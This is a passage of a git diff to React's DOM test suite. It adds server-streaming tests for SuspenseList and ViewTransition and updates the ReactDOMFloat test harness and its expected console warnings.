+      'Suspend! [B]', // TODO: Defer rendering the content after fallback if previous suspended,
+      'A',
+      'Loading C',
+      'Loading B',
+      'Loading A',
+    ]);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>Loading B</span>
+        <span>Loading C</span>
+      </div>,
+    );
+
+    await serverAct(() => C.resolve());
+    assertLog(['C']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>Loading B</span>
+        <span>C</span>
+      </div>,
+    );
+
+    await serverAct(() => B.resolve());
+    assertLog(['B']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </div>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('displays each items in "backwards" order in legacy mode', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    function Foo() {
+      return (
+        <div>
+          <SuspenseList revealOrder="unstable_legacy-backwards" tail="visible">
+            <Suspense fallback={<Text text="Loading A" />}>
+              <A />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading B" />}>
+              <B />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading C" />}>
+              <C />
+            </Suspense>
+          </SuspenseList>
+        </div>
+      );
+    }
+
+    await A.resolve();
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+
+    assertLog([
+      'Suspend! [C]',
+      'Suspend! [B]', // TODO: Defer rendering the content after fallback if previous suspended,
+      'A',
+      'Loading C',
+      'Loading B',
+      'Loading A',
+    ]);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>Loading B</span>
+        <span>Loading C</span>
+      </div>,
+    );
+
+    await serverAct(() => C.resolve());
+    assertLog(['C']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>Loading B</span>
+        <span>C</span>
+      </div>,
+    );
+
+    await serverAct(() => B.resolve());
+    assertLog(['B']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </div>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('waits for a nested SuspenseList to complete before resolving "forwards"', async () => {
+    const A = createAsyncText('A');
+    const B = createAsyncText('B');
+    const C = createAsyncText('C');
+
+    function Foo() {
+      return (
+        <div>
+          <SuspenseList revealOrder="forwards" tail="visible">
+            <SuspenseList revealOrder="backwards" tail="visible">
+              <Suspense fallback={<Text text="Loading B" />}>
+                <B />
+              </Suspense>
+              <Suspense fallback={<Text text="Loading A" />}>
+                <A />
+              </Suspense>
+            </SuspenseList>
+            <Suspense fallback={<Text text="Loading C" />}>
+              <C />
+            </Suspense>
+          </SuspenseList>
+        </div>
+      );
+    }
+
+    await C.resolve();
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />);
+      pipe(writable);
+    });
+
+    assertLog([
+      'Suspend! [B]',
+      'Suspend! [A]',
+      'C',
+      'Loading B',
+      'Loading A',
+      'Loading C',
+    ]);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>Loading B</span>
+        <span>Loading C</span>
+      </div>,
+    );
+
+    await serverAct(() => A.resolve());
+    assertLog(['A']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>Loading B</span>
+        <span>Loading C</span>
+      </div>,
+    );
+
+    await serverAct(() => B.resolve());
+    assertLog(['B']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>A</span>
+        <span>B</span>
+        <span>C</span>
+      </div>,
+    );
+  });
+
+  // @gate enableSuspenseList
+  it('can abort a pending SuspenseList', async () => {
+    const A = createAsyncText('A');
+
+    function Foo() {
+      return (
+        <div>
+          <SuspenseList revealOrder="forwards" tail="visible">
+            <Suspense fallback={<Text text="Loading A" />}>
+              <A />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading B" />}>
+              <Text text="B" />
+            </Suspense>
+          </SuspenseList>
+        </div>
+      );
+    }
+
+    const errors = [];
+    let abortStream;
+    await serverAct(async () => {
+      const {pipe, abort} = ReactDOMFizzServer.renderToPipeableStream(<Foo />, {
+        onError(error) {
+          errors.push(error.message);
+        },
+      });
+      pipe(writable);
+      abortStream = abort;
+    });
+
+    assertLog([
+      'Suspend! [A]',
+      'B', // TODO: Defer rendering the content after fallback if previous suspended,
+      'Loading A',
+      'Loading B',
+    ]);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>Loading B</span>
+      </div>,
+    );
+
+    await serverAct(() => {
+      abortStream();
+    });
+
+    expect(hasCompleted).toBe(true);
+    expect(errors).toEqual([
+      'The render was aborted by the server without a reason.',
+    ]);
+  });
+
+  // @gate enableSuspenseList
+  it('can error a pending SuspenseList', async () => {
+    const A = createAsyncText('A');
+
+    function Foo() {
+      return (
+        <div>
+          <SuspenseList revealOrder="forwards" tail="visible">
+            <Suspense fallback={<Text text="Loading A" />}>
+              <A />
+            </Suspense>
+            <Suspense fallback={<Text text="Loading B" />}>
+              <Text text="B" />
+            </Suspense>
+          </SuspenseList>
+        </div>
+      );
+    }
+
+    const errors = [];
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<Foo />, {
+        onError(error) {
+          errors.push(error.message);
+        },
+      });
+      pipe(writable);
+    });
+
+    assertLog([
+      'Suspend! [A]',
+      'B', // TODO: Defer rendering the content after fallback if previous suspended,
+      'Loading A',
+      'Loading B',
+    ]);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>Loading B</span>
+      </div>,
+    );
+
+    await serverAct(async () => {
+      A.reject(new Error('hi'));
+    });
+
+    assertLog(['Error! [hi]']);
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <span>Loading A</span>
+        <span>B</span>
+      </div>,
+    );
+
+    expect(errors).toEqual(['hi']);
+    expect(hasErrored).toBe(false);
+    expect(hasCompleted).toBe(true);
+  });
+});
diff --git a/packages/react-dom/src/__tests__/ReactDOMFizzViewTransition-test.js b/packages/react-dom/src/__tests__/ReactDOMFizzViewTransition-test.js
new file mode 100644
index 000000000000..ee87fdac9ce0
--- /dev/null
+++ b/packages/react-dom/src/__tests__/ReactDOMFizzViewTransition-test.js
@@ -0,0 +1,335 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment
+ */
+
+'use strict';
+import {
+  insertNodesAndExecuteScripts,
+  getVisibleChildren,
+} from '../test-utils/FizzTestUtils';
+
+let JSDOM;
+let React;
+let Suspense;
+let ViewTransition;
+let ReactDOMClient;
+let clientAct;
+let ReactDOMFizzServer;
+let Stream;
+let document;
+let writable;
+let container;
+let buffer = '';
+let hasErrored = false;
+let fatalError = undefined;
+
+describe('ReactDOMFizzViewTransition', () => {
+  beforeEach(() => {
+    jest.resetModules();
+    JSDOM = require('jsdom').JSDOM;
+    React = require('react');
+    ReactDOMClient = require('react-dom/client');
+    clientAct = require('internal-test-utils').act;
+    ReactDOMFizzServer = require('react-dom/server');
+    Stream = require('stream');
+
+    Suspense = React.Suspense;
+    ViewTransition = React.ViewTransition;
+
+    // Test Environment
+    const jsdom = new JSDOM(
+      '<!DOCTYPE html><html><head></head><body><div id="container">',
+      {
+        runScripts: 'dangerously',
+      },
+    );
+    document = jsdom.window.document;
+    container = document.getElementById('container');
+    global.window = jsdom.window;
+    // The Fizz runtime assumes requestAnimationFrame exists so we need to polyfill it.
+    global.requestAnimationFrame = global.window.requestAnimationFrame = cb =>
+      setTimeout(cb);
+
+    buffer = '';
+    hasErrored = false;
+
+    writable = new Stream.PassThrough();
+    writable.setEncoding('utf8');
+    writable.on('data', chunk => {
+      buffer += chunk;
+    });
+    writable.on('error', error => {
+      hasErrored = true;
+      fatalError = error;
+    });
+  });
+
+  afterEach(() => {
+    jest.restoreAllMocks();
+  });
+
+  async function serverAct(callback) {
+    await callback();
+    // Await one turn around the event loop.
+    // This assumes that we'll flush everything we have so far.
+    await new Promise(resolve => {
+      setImmediate(resolve);
+    });
+    if (hasErrored) {
+      throw fatalError;
+    }
+    // JSDOM doesn't support stream HTML parser so we need to give it a proper fragment.
+    // We also want to execute any scripts that are embedded.
+    // We assume that we have now received a proper fragment of HTML.
+    const bufferedContent = buffer;
+    buffer = '';
+    const temp = document.createElement('body');
+    temp.innerHTML = bufferedContent;
+    await insertNodesAndExecuteScripts(temp, container, null);
+    jest.runAllTimers();
+  }
+
+  // @gate enableViewTransition
+  it('emits annotations for view transitions', async () => {
+    function App() {
+      return (
+        <div>
+          <ViewTransition>
+            <div />
+          </ViewTransition>
+          <ViewTransition name="foo" update="bar">
+            <div />
+          </ViewTransition>
+          <ViewTransition update={{something: 'a', default: 'baz'}}>
+            <div />
+          </ViewTransition>
+          <ViewTransition name="outer" update="bar" share="pair">
+            <ViewTransition>
+              <div />
+            </ViewTransition>
+          </ViewTransition>
+        </div>
+      );
+    }
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);
+      pipe(writable);
+    });
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <div vt-update="auto" />
+        <div vt-name="foo" vt-update="bar" vt-share="auto" />
+        <div vt-update="baz" />
+        <div vt-name="outer" vt-update="auto" vt-share="pair" />
+      </div>,
+    );
+
+    // Hydration should not yield any errors.
+    await clientAct(async () => {
+      ReactDOMClient.hydrateRoot(container, <App />);
+    });
+  });
+
+  // @gate enableViewTransition
+  it('emits enter/exit annotations for view transitions inside Suspense', async () => {
+    let resolve;
+    const promise = new Promise(r => (resolve = r));
+    function Suspend() {
+      return React.use(promise);
+    }
+    function App() {
+      const fallback = (
+        <ViewTransition>
+          <div>
+            <ViewTransition>
+              <span>Loading</span>
+            </ViewTransition>
+          </div>
+        </ViewTransition>
+      );
+      return (
+        <div>
+          <Suspense fallback={fallback}>
+            <ViewTransition>
+              <Suspend />
+            </ViewTransition>
+          </Suspense>
+        </div>
+      );
+    }
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);
+      pipe(writable);
+    });
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <div vt-update="auto" vt-exit="auto">
+          <span vt-update="auto">Loading</span>
+        </div>
+      </div>,
+    );
+
+    await serverAct(async () => {
+      await resolve(
+        <div>
+          <ViewTransition>
+            <span>Content</span>
+          </ViewTransition>
+        </div>,
+      );
+    });
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <div vt-update="auto" vt-enter="auto">
+          <span vt-update="auto">Content</span>
+        </div>
+      </div>,
+    );
+
+    // Hydration should not yield any errors.
+    await clientAct(async () => {
+      ReactDOMClient.hydrateRoot(container, <App />);
+    });
+  });
+
+  // @gate enableViewTransition
+  it('can emit both enter and exit on the same node', async () => {
+    let resolve;
+    const promise = new Promise(r => (resolve = r));
+    function Suspend() {
+      return React.use(promise);
+    }
+    function App() {
+      const fallback = (
+        <Suspense fallback={null}>
+          <ViewTransition enter="hello" exit="goodbye">
+            <div>
+              <ViewTransition>
+                <span>Loading</span>
+              </ViewTransition>
+            </div>
+          </ViewTransition>
+        </Suspense>
+      );
+      return (
+        <div>
+          <Suspense fallback={fallback}>
+            <ViewTransition enter="hi">
+              <Suspend />
+            </ViewTransition>
+          </Suspense>
+        </div>
+      );
+    }
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);
+      pipe(writable);
+    });
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <div vt-update="auto" vt-enter="hello" vt-exit="goodbye">
+          <span vt-update="auto">Loading</span>
+        </div>
+      </div>,
+    );
+
+    await serverAct(async () => {
+      await resolve(
+        <div>
+          <ViewTransition>
+            <span>Content</span>
+          </ViewTransition>
+        </div>,
+      );
+    });
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <div vt-update="auto" vt-enter="hi">
+          <span vt-update="auto">Content</span>
+        </div>
+      </div>,
+    );
+
+    // Hydration should not yield any errors.
+    await clientAct(async () => {
+      ReactDOMClient.hydrateRoot(container, <App />);
+    });
+  });
+
+  // @gate enableViewTransition
+  it('emits annotations for view transitions outside Suspense', async () => {
+    let resolve;
+    const promise = new Promise(r => (resolve = r));
+    function Suspend() {
+      return React.use(promise);
+    }
+    function App() {
+      const fallback = (
+        <div>
+          <ViewTransition>
+            <span>Loading</span>
+          </ViewTransition>
+        </div>
+      );
+      return (
+        <div>
+          <ViewTransition>
+            <Suspense fallback={fallback}>
+              <Suspend />
+            </Suspense>
+          </ViewTransition>
+        </div>
+      );
+    }
+
+    await serverAct(async () => {
+      const {pipe} = ReactDOMFizzServer.renderToPipeableStream(<App />);
+      pipe(writable);
+    });
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <div vt-name="_R_0_" vt-update="auto" vt-share="auto">
+          <span vt-update="auto">Loading</span>
+        </div>
+      </div>,
+    );
+
+    await serverAct(async () => {
+      await resolve(
+        <div>
+          <ViewTransition>
+            <span>Content</span>
+          </ViewTransition>
+        </div>,
+      );
+    });
+
+    expect(getVisibleChildren(container)).toEqual(
+      <div>
+        <div vt-name="_R_0_" vt-update="auto" vt-share="auto">
+          <span vt-update="auto">Content</span>
+        </div>
+      </div>,
+    );
+
+    // Hydration should not yield any errors.
+    await clientAct(async () => {
+      ReactDOMClient.hydrateRoot(container, <App />);
+    });
+  });
+});
diff --git a/packages/react-dom/src/__tests__/ReactDOMFloat-test.js b/packages/react-dom/src/__tests__/ReactDOMFloat-test.js
index 492529f1ae4c..21bf9684b285 100644
--- a/packages/react-dom/src/__tests__/ReactDOMFloat-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMFloat-test.js
@@ -12,7 +12,6 @@
 import {
   insertNodesAndExecuteScripts,
   mergeOptions,
-  withLoadingReadyState,
 } from '../test-utils/FizzTestUtils';
 
 let JSDOM;
@@ -22,21 +21,22 @@ let ReactDOM;
 let ReactDOMClient;
 let ReactDOMFizzServer;
 let Suspense;
+let SuspenseList;
 let textCache;
 let loadCache;
 let writable;
-const CSPnonce = null;
+let CSPnonce = null;
 let container;
 let buffer = '';
 let hasErrored = false;
 let fatalError = undefined;
 let renderOptions;
 let waitForAll;
-let waitForThrow;
 let assertLog;
 let Scheduler;
 let clientAct;
 let streamingContainer;
+let assertConsoleErrorDev;
 
 describe('ReactDOMFloat', () => {
   beforeEach(() => {
@@ -64,21 +64,26 @@ describe('ReactDOMFloat', () => {
     global.Node = global.window.Node;
     global.addEventListener = global.window.addEventListener;
     global.MutationObserver = global.window.MutationObserver;
+    // The Fizz runtime assumes requestAnimationFrame exists so we need to polyfill it.
+    global.requestAnimationFrame = global.window.requestAnimationFrame = cb =>
+      setTimeout(cb);
     container = document.getElementById('container');
 
+    CSPnonce = null;
     React = require('react');
     ReactDOM = require('react-dom');
     ReactDOMClient = require('react-dom/client');
     ReactDOMFizzServer = require('react-dom/server');
     Stream = require('stream');
     Suspense = React.Suspense;
+    SuspenseList = React.unstable_SuspenseList;
     Scheduler = require('scheduler/unstable_mock');
 
     const InternalTestUtils = require('internal-test-utils');
     waitForAll = InternalTestUtils.waitForAll;
-    waitForThrow = InternalTestUtils.waitForThrow;
     assertLog = InternalTestUtils.assertLog;
     clientAct = InternalTestUtils.act;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
 
     textCache = new Map();
     loadCache = new Set();
@@ -123,120 +128,118 @@ describe('ReactDOMFloat', () => {
     buffer = '';
 
     if (!bufferedContent) {
+      jest.runAllTimers();
       return;
     }
 
-    await withLoadingReadyState(async () => {
-      const bodyMatch = bufferedContent.match(bodyStartMatch);
-      const headMatch = bufferedContent.match(headStartMatch);
-
-      if (streamingContainer === null) {
-        // This is the first streamed content. We decide here where to insert it. If we get <html>, <head>, or <body>
-        // we abandon the pre-built document and start from scratch. If we get anything else we assume it goes into the
-        // container. This is not really production behavior because you can't correctly stream into a deep div effectively
-        // but it's pragmatic for tests.
-
-        if (
-          bufferedContent.startsWith('<head>') ||
-          bufferedContent.startsWith('<head ') ||
-          bufferedContent.startsWith('<body>') ||
-          bufferedContent.startsWith('<body ')
-        ) {
-          // wrap in doctype to normalize the parsing process
-          bufferedContent = '<!DOCTYPE html><html>' + bufferedContent;
-        } else if (
-          bufferedContent.startsWith('<html>') ||
-          bufferedContent.startsWith('<html ')
-        ) {
-          throw new Error(
-            'Recieved <html> without a <!DOCTYPE html> which is almost certainly a bug in React',
-          );
-        }
-
-        if (bufferedContent.startsWith('<!DOCTYPE html>')) {
-          // we can just use the whole document
-          const tempDom = new JSDOM(bufferedContent);
-
-          // Wipe existing head and body content
-          document.head.innerHTML = '';
-          document.body.innerHTML = '';
+    const bodyMatch = bufferedContent.match(bodyStartMatch);
+    const headMatch = bufferedContent.match(headStartMatch);
+
+    if (streamingContainer === null) {
+      // This is the first streamed content. We decide here where to insert it. If we get <html>, <head>, or <body>
+      // we abandon the pre-built document and start from scratch. If we get anything else we assume it goes into the
+      // container. This is not really production behavior because you can't correctly stream into a deep div effectively
+      // but it's pragmatic for tests.
+
+      if (
+        bufferedContent.startsWith('<head>') ||
+        bufferedContent.startsWith('<head ') ||
+        bufferedContent.startsWith('<body>') ||
+        bufferedContent.startsWith('<body ')
+      ) {
+        // wrap in doctype to normalize the parsing process
+        bufferedContent = '<!DOCTYPE html><html>' + bufferedContent;
+      } else if (
+        bufferedContent.startsWith('<html>') ||
+        bufferedContent.startsWith('<html ')
+      ) {
+        throw new Error(
+          'Recieved <html> without a <!DOCTYPE html> which is almost certainly a bug in React',
+        );
+      }
 
-          // Copy the <html> attributes over
-          const tempHtmlNode = tempDom.window.document.documentElement;
-          for (let i = 0; i < tempHtmlNode.attributes.length; i++) {
-            const attr = tempHtmlNode.attributes[i];
-            document.documentElement.setAttribute(attr.name, attr.value);
-          }
+      if (bufferedContent.startsWith('<!DOCTYPE html>')) {
+        // we can just use the whole document
+        const tempDom = new JSDOM(bufferedContent);
 
-          if (headMatch) {
-            // We parsed a head open tag. we need to copy head attributes and insert future
-            // content into <head>
-            streamingContainer = document.head;
-            const tempHeadNode = tempDom.window.document.head;
-            for (let i = 0; i < tempHeadNode.attributes.length; i++) {
-              const attr = tempHeadNode.attributes[i];
-              document.head.setAttribute(attr.name, attr.value);
-            }
-            const source = document.createElement('head');
-            source.innerHTML = tempHeadNode.innerHTML;
-            await insertNodesAndExecuteScripts(source, document.head, CSPnonce);
-          }
+        // Wipe existing head and body content
+        document.head.innerHTML = '';
+        document.body.innerHTML = '';
 
-          if (bodyMatch) {
-            // We parsed a body open tag. we need to copy head attributes and insert future
-            // content into <body>
-            streamingContainer = document.body;
-            const tempBodyNode = tempDom.window.document.body;
-            for (let i = 0; i < tempBodyNode.attributes.length; i++) {
-              const attr = tempBodyNode.attributes[i];
-              document.body.setAttribute(attr.name, attr.value);
-            }
-            const source = document.createElement('body');
-            source.innerHTML = tempBodyNode.innerHTML;
-            await insertNodesAndExecuteScripts(source, document.body, CSPnonce);
-          }
+        // Copy the <html> attributes over
+        const tempHtmlNode = tempDom.window.document.documentElement;
+        for (let i = 0; i < tempHtmlNode.attributes.length; i++) {
+          const attr = tempHtmlNode.attributes[i];
+          document.documentElement.setAttribute(attr.name, attr.value);
+        }
 
-          if (!headMatch && !bodyMatch) {
-            throw new Error('expected <head> or <body> after <html>');
+        if (headMatch) {
+          // We parsed a head open tag. we need to copy head attributes and insert future
+          // content into <head>
+          streamingContainer = document.head;
+          const tempHeadNode = tempDom.window.document.head;
+          for (let i = 0; i < tempHeadNode.attributes.length; i++) {
+            const attr = tempHeadNode.attributes[i];
+            document.head.setAttribute(attr.name, attr.value);
           }
-        } else {
-          // we assume we are streaming into the default container'
-          streamingContainer = container;
-          const div = document.createElement('div');
-          div.innerHTML = bufferedContent;
-          await insertNodesAndExecuteScripts(div, container, CSPnonce);
+          const source = document.createElement('head');
+          source.innerHTML = tempHeadNode.innerHTML;
+          await insertNodesAndExecuteScripts(source, document.head, CSPnonce);
         }
-      } else if (streamingContainer === document.head) {
-        bufferedContent = '<!DOCTYPE html><html><head>' + bufferedContent;
-        const tempDom = new JSDOM(bufferedContent);
-
-        const tempHeadNode = tempDom.window.document.head;
-        const source = document.createElement('head');
-        source.innerHTML = tempHeadNode.innerHTML;
-        await insertNodesAndExecuteScripts(source, document.head, CSPnonce);
 
         if (bodyMatch) {
+          // We parsed a body open tag. we need to copy head attributes and insert future
+          // content into <body>
           streamingContainer = document.body;
-
           const tempBodyNode = tempDom.window.document.body;
           for (let i = 0; i < tempBodyNode.attributes.length; i++) {
             const attr = tempBodyNode.attributes[i];
             document.body.setAttribute(attr.name, attr.value);
           }
-          const bodySource = document.createElement('body');
-          bodySource.innerHTML = tempBodyNode.innerHTML;
-          await insertNodesAndExecuteScripts(
-            bodySource,
-            document.body,
-            CSPnonce,
-          );
+          const source = document.createElement('body');
+          source.innerHTML = tempBodyNode.innerHTML;
+          await insertNodesAndExecuteScripts(source, document.body, CSPnonce);
+        }
+
+        if (!headMatch && !bodyMatch) {
+          throw new Error('expected <head> or <body> after <html>');
         }
       } else {
+        // we assume we are streaming into the default container'
+        streamingContainer = container;
         const div = document.createElement('div');
         div.innerHTML = bufferedContent;
-        await insertNodesAndExecuteScripts(div, streamingContainer, CSPnonce);
+        await insertNodesAndExecuteScripts(div, container, CSPnonce);
+      }
+    } else if (streamingContainer === document.head) {
+      bufferedContent = '<!DOCTYPE html><html><head>' + bufferedContent;
+      const tempDom = new JSDOM(bufferedContent);
+
+      const tempHeadNode = tempDom.window.document.head;
+      const source = document.createElement('head');
+      source.innerHTML = tempHeadNode.innerHTML;
+      await insertNodesAndExecuteScripts(source, document.head, CSPnonce);
+
+      if (bodyMatch) {
+        streamingContainer = document.body;
+
+        const tempBodyNode = tempDom.window.document.body;
+        for (let i = 0; i < tempBodyNode.attributes.length; i++) {
+          const attr = tempBodyNode.attributes[i];
+          document.body.setAttribute(attr.name, attr.value);
+        }
+        const bodySource = document.createElement('body');
+        bodySource.innerHTML = tempBodyNode.innerHTML;
+        await insertNodesAndExecuteScripts(bodySource, document.body, CSPnonce);
       }
-    }, document);
+    } else {
+      const div = document.createElement('div');
+      div.innerHTML = bufferedContent;
+      await insertNodesAndExecuteScripts(div, streamingContainer, CSPnonce);
+    }
+    await 0;
+    // Let throttled boundaries reveal
+    jest.runAllTimers();
   }
 
   function getMeaningfulChildren(element) {
@@ -257,7 +260,10 @@ describe('ReactDOMFloat', () => {
             node.tagName !== 'TEMPLATE' &&
             node.tagName !== 'template' &&
             !node.hasAttribute('hidden') &&
-            !node.hasAttribute('aria-hidden'))
+            !node.hasAttribute('aria-hidden') &&
+            // Ignore the render blocking expect
+            (node.getAttribute('rel') !== 'expect' ||
+              node.getAttribute('blocking') !== 'render'))
         ) {
           const props = {};
           const attributes = node.attributes;
@@ -282,8 +288,8 @@ describe('ReactDOMFloat', () => {
     return children.length === 0
       ? undefined
       : children.length === 1
-      ? children[0]
-      : children;
+        ? children[0]
+        : children;
   }
 
   function BlockedOn({value, children}) {
@@ -504,132 +510,137 @@ describe('ReactDOMFloat', () => {
   it('warns if you render resource-like elements above <head> or <body>', async () => {
     const root = ReactDOMClient.createRoot(document);
 
-    await expect(async () => {
-      root.render(
-        <>
-          <noscript>foo</noscript>
-          <html>
-            <body>foo</body>
-          </html>
-        </>,
-      );
-      const aggregateError = await waitForThrow();
-      expect(aggregateError.errors.length).toBe(2);
-      expect(aggregateError.errors[0].message).toContain(
-        'Invalid insertion of NOSCRIPT',
-      );
-      expect(aggregateError.errors[1].message).toContain(
-        'The node to be removed is not a child of this node',
-      );
-    }).toErrorDev(
-      [
-        'Cannot render <noscript> outside the main document. Try moving it into the root <head> tag.',
-        'In HTML, <noscript> cannot be a child of <#document>.',
-      ],
-      {withoutStack: 1},
+    root.render(
+      <>
+        <noscript>foo</noscript>
+        <html>
+          <body>foo</body>
+        </html>
+      </>,
+    );
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Cannot render <noscript> outside the main document. Try moving it into the root <head> tag.',
+    ]);
+
+    root.render(
+      <html>
+        <template>foo</template>
+        <body>foo</body>
+      </html>,
     );
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Cannot render <template> outside the main document. Try moving it into the root <head> tag.\n' +
+        '    in html (at **)',
+      'In HTML, <template> cannot be a child of <html>.\n' +
+        'This will cause a hydration error.\n\n' +
+        '> <html>\n' +
+        '>   <template>\n' +
+        '    ...\n' +
+        '\n' +
+        '    in template (at **)',
+    ]);
 
-    await expect(async () => {
-      root.render(
+    root.render(
+      <html>
+        <body>foo</body>
+        <style>foo</style>
+      </html>,
+    );
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Cannot render a <style> outside the main document without knowing its precedence ' +
+        'and a unique href key. React can hoist and deduplicate <style> tags if you provide a ' +
+        '`precedence` prop along with an `href` prop that does not conflict with the `href` ' +
+        'values used in any other hoisted <style> or <link rel="stylesheet" ...> tags.  ' +
+        'Note that hoisting <style> tags is considered an advanced feature that most will not use directly. ' +
+        'Consider moving the <style> tag to the <head> or consider adding a `precedence="default"` ' +
+        'and `href="some unique resource identifier"`.\n' +
+        '    in html (at **)',
+      'In HTML, <style> cannot be a child of <html>.\n' +
+        'This will cause a hydration error.\n\n' +
+        '> <html>\n' +
+        '    <body>\n' +
+        '>   <style>\n' +
+        '\n' +
+        '    in style (at **)',
+    ]);
+
+    root.render(
+      <>
         <html>
-          <template>foo</template>
           <body>foo</body>
-        </html>,
-      );
-      await waitForAll([]);
-    }).toErrorDev([
-      'Cannot render <template> outside the main document. Try moving it into the root <head> tag.',
-      'In HTML, <template> cannot be a child of <html>.',
+        </html>
+        <link rel="stylesheet" href="foo" />
+      </>,
+    );
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Cannot render a <link rel="stylesheet" /> outside the main document without knowing its precedence. ' +
+        'Consider adding precedence="default" or moving it into the root <head> tag.',
     ]);
 
-    await expect(async () => {
-      root.render(
+    root.render(
+      <>
         <html>
           <body>foo</body>
-          <style>foo</style>
-        </html>,
-      );
-      await waitForAll([]);
-    }).toErrorDev([
-      'Cannot render a <style> outside the main document without knowing its precedence and a unique href key. React can hoist and deduplicate <style> tags if you provide a `precedence` prop along with an `href` prop that does not conflic with the `href` values used in any other hoisted <style> or <link rel="stylesheet" ...> tags.  Note that hoisting <style> tags is considered an advanced feature that most will not use directly. Consider moving the <style> tag to the <head> or consider adding a `precedence="default"` and `href="some unique resource identifier"`, or move the <style> to the <style> tag.',
-      'In HTML, <style> cannot be a child of <html>.',
+          <script href="foo" />
+        </html>
+      </>,
+    );
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Cannot render a sync or defer <script> outside the main document without knowing its order. ' +
+        'Try adding async="" or moving it into the root <head> tag.\n' +
+        '    in html (at **)',
+      'In HTML, <script> cannot be a child of <html>.\n' +
+        'This will cause a hydration error.\n' +
+        '\n' +
+        '> <html>\n' +
+        '    <body>\n' +
+        '>   <script href="foo">\n' +
+        '\n' +
+        '    in script (at **)',
+      ...(gate('enableTrustedTypesIntegration')
+        ? [
+            'Encountered a script tag while rendering React component. ' +
+              'Scripts inside React components are never executed when rendering on the client. ' +
+              'Consider using template tag instead (https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template).\n' +
+              '     in script (at **)',
+          ]
+        : []),
     ]);
 
-    await expect(async () => {
-      root.render(
-        <>
-          <html>
-            <body>foo</body>
-          </html>
-          <link rel="stylesheet" href="foo" />
-        </>,
-      );
-      const aggregateError = await waitForThrow();
-      expect(aggregateError.errors.length).toBe(2);
-      expect(aggregateError.errors[0].message).toContain(
-        'Invalid insertion of LINK',
-      );
-      expect(aggregateError.errors[1].message).toContain(
-        'The node to be removed is not a child of this node',
-      );
-    }).toErrorDev(
-      [
-        'Cannot render a <link rel="stylesheet" /> outside the main document without knowing its precedence. Consider adding precedence="default" or moving it into the root <head> tag.',
-        'In HTML, <link> cannot be a child of <#document>.',
-      ],
-      {withoutStack: 1},
+    root.render(
+      <html>
+        <script async={true} onLoad={() => {}} href="bar" />
+        <body>foo</body>
+      </html>,
     );
-
-    await expect(async () => {
-      root.render(
-        <>
-          <html>
-            <body>foo</body>
-            <script href="foo" />
-          </html>
-        </>,
-      );
-      await waitForAll([]);
-    }).toErrorDev([
-      'Cannot render a sync or defer <script> outside the main document without knowing its order. Try adding async="" or moving it into the root <head> tag.',
-      'In HTML, <script> cannot be a child of <html>.',
+    await waitForAll([]);
+    assertConsoleErrorDev([
+      'Cannot render a <script> with onLoad or onError listeners outside the main document. ' +
+        'Try removing onLoad={...} and onError={...} or moving it into the root <head> tag or ' +
+        'somewhere in the <body>.\n' +
+        '    in html (at **)',
     ]);
 
-    await expect(async () => {
-      root.render(
+    root.render(
+      <>
+        <link rel="foo" onLoad={() => {}} href="bar" />
         <html>
-          <script async={true} onLoad={() => {}} href="bar" />
           <body>foo</body>
-        </html>,
-      );
-      await waitForAll([]);
-    }).toErrorDev([
-      'Cannot render a <script> with onLoad or onError listeners outside the main document. Try removing onLoad={...} and onError={...} or moving it into the root <head> tag or somewhere in the <body>.',
-    ]);
-
-    await expect(async () => {
-      root.render(
-        <>
-          <link rel="foo" onLoad={() => {}} href="bar" />
-          <html>
